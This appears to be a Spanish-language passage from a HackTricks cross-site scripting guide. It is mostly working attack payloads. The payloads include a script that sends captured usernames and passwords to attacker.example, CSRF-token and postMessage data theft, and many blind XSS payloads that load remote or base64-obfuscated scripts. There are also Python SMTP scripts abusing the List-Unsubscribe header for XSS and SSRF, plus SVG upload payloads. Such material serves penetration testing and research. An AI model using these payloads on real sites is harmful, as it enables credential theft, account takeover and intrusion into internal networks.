const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notas
- Esto se basa en el execution order: tu injection debe ejecutarse antes de la legitimate declaration.
- Si tu payload está envuelto en
eval(...), los bindingsconst/letno llegarán a ser globals. Usa la técnica dinámica de<script>injection de la sección “Deliverable payloads with eval(atob()) and scope nuances” para asegurar un true global, non-rebindable binding. - Cuando los filtros de palabras clave bloquean el código, combínalo con identificadores escapados en Unicode o entrega mediante
eval(atob('...')), como se muestra arriba.
Keylogger
Buscando en github encontré algunos distintos:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- También puedes usar metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Robando mensajes de PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
Si una página almacena event.origin de un postMessage y luego lo concatena en una URL de script, el remitente controla el origin del JS cargado:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Exploitation recipe (from CAPIG):
- Gates: se dispara solo cuando
window.openerexiste ypixel_idestá en la lista de permitidos; origin is never checked. - Use CSP-allowed origin: pivotar a un dominio ya permitido por el victim CSP (p. ej., páginas de ayuda sin sesión que permiten analytics como
*.THIRD-PARTY.com) y alojar/sdk/<pixel_id>/iwl.jsallí vía takeover/XSS/upload. - Restore
opener: en Android WebView,window.name='x'; window.open(target,'x')hace que la página sea su propio opener; enviar elpostMessagemalicioso desde un iframe secuestrado. - Trigger: el iframe envía
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; el parent entonces carga eliwl.jsdel atacante desde el origin permitido por el CSP y lo ejecuta.
Esto convierte la validación de postMessage sin comprobación de origen en una primitiva de carga remota de scripts que sobrevive al CSP si puedes aterrizar en cualquier origin ya permitido por la política.
Supply-chain stored XSS via backend JS concatenation
Cuando un backend construye un SDK compartido concatenando cadenas JS con valores controlados por el usuario, cualquier carácter que cierre comillas/estructura puede inyectar script que se sirve a todos los consumidores:
- Patrón de ejemplo (Meta CAPIG): el servidor añade
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});directamente encapig-events.js. - Inyectar
'o"]}cierra el literal/objeto y añade JS del atacante, creando stored XSS en el SDK distribuido para cada sitio que lo cargue (first-party y third-party).
Abusing Service Workers
Accessing Shadow DOM
Polyglots
Blind XSS payloads
También puedes usar: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Acceder a contenido oculto
A partir de this writeup se puede aprender que, aunque algunos valores desaparezcan del JS, sigue siendo posible encontrarlos en atributos JS de distintos objetos. Por ejemplo, una entrada de un REGEX todavía puede localizarse después de que se eliminó el valor de la entrada del regex:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS Abusando de otras vulnerabilidades
XSS in Markdown
¿Se puede inyectar código Markdown que sea renderizado? ¡Quizá puedas obtener XSS! Revisa:
XSS to SSRF
¿Tienes XSS en un sitio que usa cache? Prueba a convertirlo en SSRF mediante Edge Side Include Injection con este payload:
<esi:include src="http://yoursite.com/capture" />
Úsalo para eludir las restricciones de cookies, los filtros XSS y mucho más!
Más información sobre esta técnica aquí: XSLT.
XSS en PDF creado dinámicamente
Si una página web está creando un PDF usando entrada controlada por el usuario, puedes intentar engañar al bot que está creando el PDF para que ejecute código JS arbitrario.
Por lo tanto, si el bot creador de PDF encuentra algún tipo de tags HTML, los va a interpretar, y puedes abusar de este comportamiento para causar un Server XSS.
Si no puedes inyectar tags HTML, podría valer la pena intentar inyectar datos PDF:
XSS en Amp4Email
AMP, orientado a acelerar el rendimiento de páginas web en dispositivos móviles, incorpora tags HTML complementados por JavaScript para asegurar la funcionalidad con énfasis en velocidad y seguridad. Soporta una variedad de componentes para distintas características, accesibles vía AMP components.
El formato AMP for Email extiende componentes específicos de AMP a los emails, permitiendo que los destinatarios interactúen con el contenido directamente dentro de sus correos.
Ejemplo writeup XSS in Amp4Email in Gmail.
List-Unsubscribe Header Abuse (Webmail XSS & SSRF)
El RFC 2369 List-Unsubscribe header incrusta URIs controladas por el atacante que muchos webmail y clientes de correo convierten automáticamente en botones de “Unsubscribe”. Cuando esas URIs se renderizan o se fetchean sin validación, el header se convierte en un punto de inyección tanto para stored XSS (si el enlace de unsubscribe se coloca en el DOM) como para SSRF (si el servidor realiza la solicitud de unsubscribe en nombre del usuario).
Stored XSS a través de javascript: URIs
- Envíate un correo donde el header apunte a una URI
javascript:manteniendo el resto del mensaje benigno para que los filtros de spam no lo eliminen. - Asegúrate de que la UI renderice el valor (muchos clientes lo muestran en un panel “List Info”) y verifica si la etiqueta resultante
<a>hereda atributos controlados por el atacante comohrefotarget. - Provoca la ejecución (por ejemplo, CTRL+click, middle-click, o “open in new tab”) cuando el enlace usa
target="_blank"; los navegadores evaluarán el JavaScript suministrado en el origen de la aplicación webmail. - Observa la primitiva stored-XSS: la payload persiste con el correo y solo requiere un click para ejecutarse.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
El byte de nueva línea (%0a) en la URI muestra que incluso caracteres inusuales sobreviven la pipeline de renderizado en clientes vulnerables como Horde IMP H5, que mostrarán la cadena literalmente dentro del anchor tag.
PoC SMTP mínimo que entrega un List-Unsubscribe header malicioso
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Proxies de unsubscribe en el servidor -> SSRF
Algunos clientes, como la Nextcloud Mail app, proxyean la acción de unsubscribe en el servidor: al hacer clic en el botón se instruye al servidor para que obtenga la URL proporcionada por sí mismo. Eso convierte el encabezado en un primitivo SSRF, especialmente cuando los administradores establecen 'allow_local_remote_servers' => true (documented in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), lo que permite solicitudes hacia loopback y los rangos RFC1918.
1. **Crear un email** donde `List-Unsubscribe` apunte a un endpoint controlado por el atacante (para SSRF ciego use Burp Collaborator / OAST).
2. **Mantener `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** para que la UI muestre un botón de unsubscribe de un solo clic.
3. **Cumplir los requisitos de confianza**: Nextcloud, por ejemplo, solo realiza solicitudes HTTPS de unsubscribe cuando el mensaje pasa DKIM, por lo que el atacante debe firmar el email usando un dominio que controle.
4. **Entregar el mensaje a un buzón procesado por el servidor objetivo** y esperar hasta que un usuario haga clic en el botón de unsubscribe.
5. **Observar el callback del lado servidor** en el endpoint de Collaborator, luego pivotar a direcciones internas una vez que el primitivo esté confirmado.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Mensaje List-Unsubscribe firmado con DKIM para pruebas de SSRF
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Notas de prueba**
- Usa un endpoint OAST para recopilar blind SSRF hits, luego adapta la URL `List-Unsubscribe` para apuntar a `http://127.0.0.1:PORT`, servicios de metadatos, u otros hosts internos una vez confirmado el primitive.
- Porque el unsubscribe helper a menudo reutiliza la misma pila HTTP que la aplicación, heredas su configuración de proxy, HTTP verbs y reescrituras de cabeceras, lo que permite más trucos de traversal descritos en la [SSRF methodology](../ssrf-server-side-request-forgery/README.md).
### XSS subiendo archivos (svg)
Sube como imagen un archivo como el siguiente (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Encuentra más SVG payloads en https://github.com/allanlw/svg-cheatsheet
Trucos JS misceláneos y información relevante
Misc JS Tricks & Relevant Info
Recursos de XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Referencias
- Turning a harmless XSS behind a WAF into a realistic phishing vector
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


